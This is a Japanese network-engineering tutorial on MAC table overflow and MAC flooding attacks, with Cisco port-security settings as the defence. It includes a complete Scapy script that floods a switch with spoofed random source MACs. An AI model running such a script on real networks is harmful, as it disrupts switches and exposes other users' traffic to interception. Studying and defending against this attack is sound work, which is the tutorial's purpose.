【実務・中級編】 MACアドレステーブル溢れとMACフラッディング攻撃メカニズム – インフラ・物理&L2/L3ネットワーク基礎実践ガイド

こんにちは。インフラ・ネットワークエンジニアとして数々の現場を渡り歩いてきたが、若いエンジニアから「WebAPIやクラウドの設計は得意だけど、スイッチのレイヤ2の挙動ってぶっちゃぎブラックボックスですよね」という声をよく聞く。

アプリケーション層やAPI設計がどれほど洗練されていようとも、その基盤を支える物理・データリンク層の挙動が狂えば、システム全体が沈黙する。今回は、レイヤ2の根幹である「MACアドレステーブル(CAMテーブル)」の枯渇、そしてそれが引き起こす「MACフラッディング攻撃」のメカニズムと実務的な防衛策について、パケットの挙動からコードレベルの検証手法まで深く掘り下げていこう。

—

1. MACアドレステーブル(CAMテーブル)の本質とスイッチングの限界

スイッチ(L2スイッチ)は、HUB(リピータハブ)と違って「賢い」デバイスだ。受信したフレームの送信元MACアドレスを学習し、どこのポートにどの端末が繋がっているかをメモリ(CAM:Content-Addressable Memory)に記録する。この仕組みがあるおかげで、ユニキャストフレームは宛先ポートだけに転送され、無駄なコリジョンや帯域消費を防ぎながら高速な通信が成立している。

だが、このCAMテーブルには物理的なサイズ上限という致命的な弱点がある。

企業向けの一般的なアクセス層スイッチであっても、CAMテーブルのエントリ数は8,000から16,000程度。安価なL2スイッチであれば数千件だ。ネットワークスペシャリストなら誰もが知っている通り、CAMテーブルが満杯になると、スイッチは新しいMACアドレスを学習できなくなる。

ここで恐ろしいことが起きる。スイッチは、自分のテーブルに載っていない宛先MACアドレスを持つフレームを受信すると、学習を諦める代わりに「フラーディング(Flooding)」、つまり受信ポート以外のすべてのポートへそのフレームをばらまくというフォールバック動作を行うのだ。

—

2. MACフラッディング攻撃のメカニズムと脅威

MACフラッディング攻撃とは、このスイッチのフォールバック仕様を悪意を持って逆用する古典的かつ極めて強力なL2攻撃である。

攻撃者は、スクリプトや専用ツール(macof など)を用いて、短時間に数万という「偽装されたランダムな送信元MACアドレス」を持つイーサネットフレームをスイッチポートに送りつける。スイッチは忠実にこれをCAMテーブルに書き込もうとするが、瞬く間にテーブルの容量が限界を迎える。

攻撃時の通信フローとスイッチの挙動

1. 攻撃の開始: 攻撃端末が 52:54:00:12:34:56 や DE:AD:BE:EF:CA:FE といった偽装MACアドレスのパケットを狂ったような速度で送出。
2. CAMテーブルの枯渇 (Overflow): スイッチのメモリが飽和し、正当なユーザー(サーバーやルーター)のMACアドレスエントリが追い出される(あるいは新規学習が拒絶される)。
3. ハブ化(Fail-open): スイッチが「宛先不明のフレーム」と判断し、本来1対1であるべき通信を全ポートに転送(フラッド)し始める。
4. 盗聴・インシデント: 同じVLAN内にいる他の端末宛てのトラフィック(機密性の高いWebAPIのペイロードやデータベースの応答など)が、攻撃者のポートにも丸見えになる。

これは、スイッチが意図せずただの「バカHUB」に成り下がる瞬間だ。暗号化(TLS等)が普及した現代においても、トラフィックのパターン解析(トラフィックアナリシス)や、万が一の暗号不備をついたセッションハイジャックの踏み台として機能してしまう。

—

3. 実験:Pythonを用いたレイヤ2パケット送出のシミュレーション

インフラエンジニアとして、この脅威を机上の空論ではなく「自分の手で再現し、どう検知するか」を理解しておく必要がある。Pythonの強力なパケット操作ライブラリである Scapy を用いて、MACアドレステーブルを圧迫する挙動の概念コードを見てみよう。

> 警告: 以下のコードは検証・学習目的のためのものです。許可されていないネットワークや商用環境で実行した場合、深刻な障害を引き起こし、法的な責任を問われる可能性があります。必ず自前の検証用サンドボックス環境で実施してください。

from scapy.all import *
import random
import time

def generate_random_mac():
    """ランダムなユニキャスト・ローカル管理MACアドレスを生成する"""
    # 先頭オクテットの2ビット目を1(ローカル管理)、最下位bitを0(ユニキャスト)にする
    first_byte = random.choice([0x02, 0x06, 0x0A, 0x0E])
    other_bytes = [random.randint(0x00, 0xFF) for _ in range(5)]
    mac = [first_byte] + other_bytes
    return ":".join(f"{b:02x}" for b in mac)

def mac_flooding_simulation(interface="eth0", packet_count=10000):
    """
    指定したインタフェースから偽装MACアドレスのパケットを連続送信し、
    スイッチのCAMテーブルを枯渇させるシミュレーション
    """
    print(f"[*] インタフェース {interface} からMACフラッディングのシミュレーションを開始します...")
    
    # ダミーのIP/TCP層を載せたイーサネットフレームを構築
    # スイッチに学習させることが目的なので、レイヤー2のソースMACを毎回ランダムに変更する
    try:
        for i in range(packet_count):
            fake_src_mac = generate_random_mac()
            
            # イーサネットフレームの作成 (送信元: ランダム, 宛先: ブロードキャスト等)
            ether = Ether(src=fake_src_mac, dst="ff:ff:ff:ff:ff:ff")
            ip = IP(src="192.168.1.100", dst="192.168.1.255")
            udp = UDP(sport=12345, dport=80)
            
            packet = ether / ip / udp
            
            # パケットを送信 (L2レイヤーで直接送出)
            sendp(packet, iface=interface, verbose=False)
            
            if (i + 1) % 1000 == 0:
                print(f"[+] {i + 1} 件の偽装パケットを送信完了...")
                
    except KeyboardInterrupt:
        print("\n[!] ユーザーによって中断されました。")
    except Exception as e:
        print(f"\n[!] エラーが発生しました: {e}")

if __name__ == "__main__":
    # 実行時は検証用インターフェース名を適切に変更すること
    # 例: mac_flooding_simulation(interface="veth_test", packet_count=50000)
    pass

このスクリプトが実行されると、スイッチは「見たこともない端末が数千台接続された」と勘違いし、CAMテーブルが一瞬で埋め尽くされる。

—

4. 実務における決定的な防衛策:Ciscoスイッチでの設定例

この脅威に対する現場の切り札が、Cisco等のモダンなスイッチに備わっている「ポートセキュリティー(Port Security)」だ。

ポートセキュリティーを有効にすることで、特定のポートから学習できるMACアドレスの最大数を制限し、それを超えた不正なフレームが流入した際の挙動(シャットダウン、ドロップ、ログ出力など)を制御できる。

実務で即座に使えるCisco IOSの設定テンプレートを提示しよう。

! ==========================================
! スイッチポートセキュリティーの基本設定
! ==========================================

! 対象のアクセスポート(例: ユーザー端末が接続する FastEthernet 0/1)を指定
interface FastEthernet0/1
 description === User Access Port with Port-Security ===
 switchport mode access
 switchport voice vlan 100
 
 ! 1. ポートセキュリティーを有効化
 switchport port-security
 
 ! 2. 学習できる最大MACアドレス数を「2」に制限 (IP電話機+PCの構成を想定)
 switchport port-security maximum 2
 
 ! 3. MACアドレスの学習方法を「スティッキー(動的学習したものを設定に自動保存)」に設定
 switchport port-security mac-address sticky
 
 ! 4. 制限値を超えた場合の動作を指定 (err-disableにしてポートを遮断する)
 switchport port-security violation shutdown
 
 ! 5. エイジングタイムの設定 (オプション: 動きのないエントリを一定時間で削除)
 switchport port-security aging time 2
 switchport port-security aging type inactivity

! ==========================================
! エラーでシャットダウンしたポートの自動復旧設定 (オプション)
! ==========================================
errdisable recovery cause psecure-violation
errdisable recovery interval 300

パラメーターの深掘り実務解説

  • switchport port-security maximum 2:

ここを 1 にし忘れてデフォルト(Ciscoの場合は通常1だが環境による)のままだと、IP電話の背後にPCをカスケード接続しているフロアで全員が通信できなくなるという「インフラあるあるの障害」を引き起こす。トポロジーを正確に把握して数値を決定すること。

  • switchport port-security violation shutdown:

違反検知時のアクション。protect(ログを出さずに静かにドロップ)、restrict(ドロップしつつSNMPトラップやsyslogを飛ばす)、shutdown(ポートをエラーディスエーブル状態にする)がある。セキュリティインシデントとして確実に検知・対応させたい本番環境では、原則として shutdown を推奨する。

—

5. 現場のシニアから後輩へ贈るTips

APIやクラウドの設計書を書くだけがインフラエンジニアの仕事ではない。レイヤ2という最も足元が揺らいだとき、何が起きているのかを瞬時に見抜く目がなければ、上位レイヤーのトラブルシューティングは迷宮入りする。

もし本番環境で突然特定のセグメント全体のレスポンスが悪化し、あちこちでパケットロスが起きたら、まずはスイッチのログを疑え。
Cisco環境であれば、以下のコマンドを打つ。

# 違反によってシャットダウンしたポートがないか確認
show port-security interface fastethernet 0/1

# エラーディスエーブル状態のポート一覧を確認
show interfaces status err-disabled

もし psecure-violation によってポートが落ちていれば、それは誰かが不正なスクリプトを回したか、あるいは一台の端末で仮想マシン(VMwareやDocker等)が大量のブリッジインターフェースを作成し、意図せずMACフラッディングに近い状態を引き起こしている可能性が高い。

基礎的なプロトコル仕様の理解と、適切なスイッチのセキュリティ設定。この両輪があって初めて、堅牢なシステム基盤と呼べる。次の設計では、ぜひポートセキュリティーの要件を標準で盛り込んでほしい。

コメント

タイトルとURLをコピーしました